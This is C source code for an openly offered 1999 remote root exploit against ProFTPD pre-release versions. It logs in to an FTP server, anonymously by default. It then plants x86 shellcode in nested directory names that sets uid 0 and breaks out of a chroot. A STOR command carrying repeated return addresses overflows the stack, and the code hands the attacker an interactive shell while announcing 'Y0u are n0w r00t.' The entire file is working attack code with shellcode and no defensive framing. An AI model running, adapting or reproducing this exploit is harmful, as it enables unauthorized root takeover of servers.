/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
* 		- adm-wuftpd by duke
*		- kombajn do czereśni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define MAXARGLEN	64
#define MAXLINE		1024
#define ANONL		"ftp"
#define ANONP		"mozilla@"
#define INCOM		"/incoming/"
#define FTPPORT		21
#define RET		0xbffff550
#define NOP		0x90
#define ALIGN		0
#define CONTENT		"y0u ar3 n0w 0wn3d!"
#define GREEN 		"\033[1;32m"
#define RED 		"\033[1;31m"
#define NORM 		"\033[1;39m"
#define BOLD		"\E[1m"
#define UNBOLD		"\E[m"

static const char rcsid[] =
  "$Id: proftpd.c,v 1.1.1.1 2001/05/21 15:28:06 venglin Exp $";

char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];

#ifdef DEBUG
FILE *phile;
#endif

long getip(name)
char *name;
{
	struct hostent *hp;
	long ip;
	extern int h_errno;

	if ((ip=inet_addr(name))==-1)
	{
		if ((hp=gethostbyname(name))==NULL)
		{
			fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno));
			exit(1);
		}
		memcpy(&ip, (hp->h_addr), 4);
	}
	return ip;
}

int readline(sockfd, buf)
int sockfd;
char *buf;
{
	int done = 0;
	char *n = NULL, *p = NULL, localbuff[MAXLINE];

	while (!done)
	{
		if (!p)
		{

			int count;

			bzero(localbuff, MAXLINE);

			if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
			{
				(void)fprintf(stderr, "IO error.\n");
				return -1;
			}
//
#ifdef DEBUG
			fprintf(phile, "Received: %s", localbuff);
#endif
//

			localbuff[count] = 0;
			p = localbuff;
		}

		n=(char *)strchr(p, '\r');

		if (n)
		{
			*n = 0; 
			n += 2;
			done = 1; 
		}

		bzero(buf, MAXLINE);
	
		strncat(buf, p, MAXLINE);
		p = n;
	}
	return 0;
}

int eatthis(sockfd, line)
int sockfd;
char *line;
{
	do
	{
		bzero(line, MAXLINE);
		if (readline(sockfd, line) < 0) return -1;
	} while (line[3] != ' ');

	return (int)(line[0] - '0');
}

int connecttoftp(host)
char *host;
{
	int sockfd;

	bzero(&cli, sizeof(cli));
	cli.sin_family = AF_INET;
	cli.sin_addr.s_addr=getip(host);
	cli.sin_port = htons(FTPPORT);

//
#ifdef DEBUG
	fprintf(phile, "Connecting to %s.\n", host);
#endif
//

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("socket");
		return -1;
	}

	if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
	{
		perror("connect");
		return -1;
	}

//
#ifdef DEBUG
	fprintf(phile, "Connected to %s.\n", host);
#endif
//

	return sockfd;
}

int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
	int result;
	char errbuf[MAXLINE];

	result = eatthis(sockfd, errbuf);

	if (result < 0) return -1;
	if (result > 2)
	{
		fprintf(stderr, "%s\n", errbuf);
		return -1;
	}

	bzero(sendbuf, MAXLINE);
	sprintf(sendbuf, "USER %s\r\n", login);
	write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
	fprintf(phile, "Sending: %s", sendbuf);
#endif
//

	result = eatthis(sockfd, errbuf);

	if (result < 0) return -1;
	if (result > 3)
	{
		fprintf(stderr, "%s\n", errbuf);
		return -1;
	}

	bzero(sendbuf, MAXLINE);
	sprintf(sendbuf, "PASS %s\r\n", passwd);
	write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
	fprintf(phile, "Sending: %s", sendbuf);
#endif
//

	result = eatthis(sockfd, errbuf);

	if (result < 0) return -1;
	if (result > 2)
	{
		fprintf(stderr, "%s\n", errbuf);
		return -1;
	}

	return 0;
}

int makedir(dir, sockfd)
char *dir;
int sockfd;
{
	char buf[MAXLINE], errbuf[MAXLINE], *p;
	int n, result;

	bzero(buf, MAXLINE);
	p = buf;
	for(n=0;n < strlen(dir);n++)
	{

		if(dir[n]=='\xff')
		{
			*p='\xff';
			p++;
		}
		*p=dir[n];
		p++;
	}

	bzero(sendbuf, MAXLINE);
	sprintf(sendbuf, "MKD %s\r\n", buf);
	write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
	fprintf(phile, "Sending: %s", sendbuf);
#endif
//

	result = eatthis(sockfd, errbuf);

	if (result < 0) return -1;
	if (result > 2)
	{
		fprintf(stderr, "%s\n", errbuf);
		return -1;
	}

	bzero(sendbuf, MAXLINE);
	sprintf(sendbuf, "CWD %s\r\n", buf);
	write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
	fprintf(phile, "Sending: %s", sendbuf);
#endif
//

	result = eatthis(sockfd, errbuf);

	if (result < 0) return -1;
	if (result > 2)
	{
		fprintf(stderr, "%s\n", errbuf);
		return -1;
	}

	return 0;
}

int mkd(sockfd, cwd)
int sockfd;
char *cwd;
{

	char shellcode[]=
		"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
		"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
		"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
		"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
		"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
		"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
		"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
		"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
		"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
		"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
		"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";

	char buf1[MAXLINE], tmp[MAXLINE], *p, *q;

	if (makedir(cwd, sockfd) < 0) return -1;

	bzero(buf1, MAXLINE);

	memset(buf1, 0x90, 756);
	memcpy(buf1, cwd, strlen(cwd));

	p = &buf1[strlen(cwd)];
	q = &buf1[755];

	bzero(tmp, MAXLINE);

	while(p <= q)
	{
		strncpy(tmp, p, 100);
		if (makedir(tmp, sockfd) < 0) return -1;
		p+=100;
	}


	if (makedir(shellcode, sockfd) < 0) return -1;
	return 0;
}

int put(sockfd, offset, align)
int sockfd, offset, align;
{
	char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE], hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
	int n, sock, nsock, port, i;
	struct in_addr in;
	int octet_in[4], result;
	char *oct;
	struct sockaddr_in yo;
	
	bzero(buf2, MAXLINE);
	memset(buf2, NOP, 100);

	for(i=4-ALIGN-align; i<96; i+=4)
		*(long *)&buf2[i] = RET + offset;

	p = &buf2[0];
	q = &buf2[99];

	bzero(tmp, MAXLINE);
	strncpy(tmp, p, strlen(buf2));

	port=getpid()+1024;	
	
	bzero(&yo, sizeof(yo));
	yo.sin_family = AF_INET;
	yo.sin_port=htons(port);

	bzero(buf, MAXLINE);
	p=buf;
	for(n=0;n<strlen(tmp);n++)
	{
		if(tmp[n]=='\xff')
		{
			*p='\xff';
			p++;
		}
		*p=tmp[n];
		p++;
	}

	gethostname(hostname, MAXLINE);
	in.s_addr = getip(hostname);

	oct=(char *)strtok(inet_ntoa(in),".");
	octet_in[0]=atoi(oct);
	oct=(char *)strtok(NULL,".");
	octet_in[1]=atoi(oct);
	oct=(char *)strtok(NULL,".");
	octet_in[2]=atoi(oct);
	oct=(char *)strtok(NULL,".");
	octet_in[3]=atoi(oct);

	bzero(sendbuf, MAXLINE);
	sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
	write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
	fprintf(phile, "Sending: %s", sendbuf);
#endif
//

	result = eatthis(sockfd, errbuf);

	if (result < 0) return -1;
	if (result > 2)
	{
		fprintf(stderr, "%s\n", errbuf);
		return -1;
	}

	if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
		perror("socket()");
		return -1;
	}
                        
	if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
	{
		perror("bind()");
		close(sock);
		return -1;
	}

	if (listen (sock,10) < 0)
	{
		perror("listen()");
		close(sock);
		return -1;
	}

	bzero(sendbuf, MAXLINE);
	sprintf(sendbuf, "STOR %s\r\n", buf);
	write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
	fprintf(phile, "Sending: %s", sendbuf);
#endif
//

	result = eatthis(sockfd, errbuf);

	if (result < 0) return -1;
	if (result > 2)
	{
		fprintf(stderr, "%s\n", errbuf);
		return -1;
	}

	if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct sockaddr))) < 0)
	{
		perror("accept()");
		close(sock);
		return -1;
	}
        
	write(nsock, CONTENT, sizeof(CONTENT));

//
#ifdef DEBUG
	fprintf(phile, "Sending: %s", CONTENT);
#endif
//
 
	close(sock);
	close(nsock);

	return 0;
}

int sh(sockfd)
int sockfd;
{
	char buf[MAXLINE];
	int c;
	fd_set rf, drugi;
        
	FD_ZERO(&rf);
	FD_SET(0, &rf);
	FD_SET(sockfd, &rf);

	while (1)
	{
		bzero(buf, MAXLINE);
		memcpy (&drugi, &rf, sizeof(rf));
		select(sockfd+1, &drugi, NULL, NULL, NULL);
		if (FD_ISSET(0, &drugi))
		{
			c = read(0, buf, MAXLINE);
			send(sockfd, buf, c, 0x4);
		}

		if (FD_ISSET(sockfd, &drugi))
		{
			c = read(sockfd, buf, MAXLINE);
			if (c<0) return 0;
			write(1,buf,c);
		}
	}
}

void usage(void)
{
	(void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o offset] [-a align] host\n", av0);
	exit(1);
}

int main(argc, argv)
int argc;
char **argv;
{
	extern int optind, opterr;
	extern char *optarg;
	int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
	char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];

	(void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GREEN, NORM, UNBOLD);

	if (strchr(argv[0], '/'))
		av0 = strrchr(argv[0], '/') + 1;
	else
		av0 = argv[0];

	opterr = aflag = oflag = lflag = pflag = dflag = 0;

	while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
		switch((char)ch)
		{
			case 'l':
				lflag = 1;
				strncpy(login, optarg, MAXARGLEN);
				break;

			case 'p':
				pflag = 1;
				strncpy(passwd, optarg, MAXARGLEN);
				break;

			case 'd':
				dflag = 1;
				strncpy(cwd, optarg, MAXARGLEN);
				break;

			case 'o':
				oflag = 1;
				offset = atoi(optarg);
				break;

			case 'a':
				aflag = 1;
				align = atoi(optarg);
				break;

			case '?':
			default:
				usage();
		}	

	argc -= optind;
	argv += optind;

	if (argc != 1) usage();
	if (!lflag) strncpy(login, ANONL, MAXARGLEN);
	if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
	if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
	if (!oflag) offset = 0;
	if (!aflag) align = 0;

//
#ifdef DEBUG
	phile = fopen("debug", "w");
#endif
//

	if ((sockfd = connecttoftp(*argv)) < 0)
	{
		(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
//
#ifdef DEBUG
		fclose(phile);
#endif
//
		exit(1);
	}

	(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

	if (logintoftp(sockfd, login, passwd) < 0)
	{
		(void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n", *argv, login, passwd);
//
#ifdef DEBUG
		fclose(phile);
#endif
//
		exit(1);
	}

	(void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in %s\n", login, passwd, cwd);

	if (mkd(sockfd, cwd) < 0)
	{
		(void)fprintf(stderr, "Unknown error while making directories.\n");
//
#ifdef DEBUG
		fclose(phile);
#endif
//
		exit(1);
	}

	(void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET + offset, align);
	
	if (put(sockfd, offset, align) < 0)
	{
		(void)fprintf(stderr, "Unknown error while sending RETs.\n");
//
#ifdef DEBUG
		fclose(phile);
#endif
//
		exit(1);
	}

	(void)fprintf(stderr, "Y0u are n0w r00t.\n");

	if (sh(sockfd) < 0)
	{
		(void)fprintf(stderr, "Connection unexpectly terminated.\n");
//
#ifdef DEBUG
		fclose(phile);
#endif
//
		close(sockfd);
		exit(1);
	}
//
#ifdef DEBUG
	fclose(phile);
#endif
//
	exit(0);
}
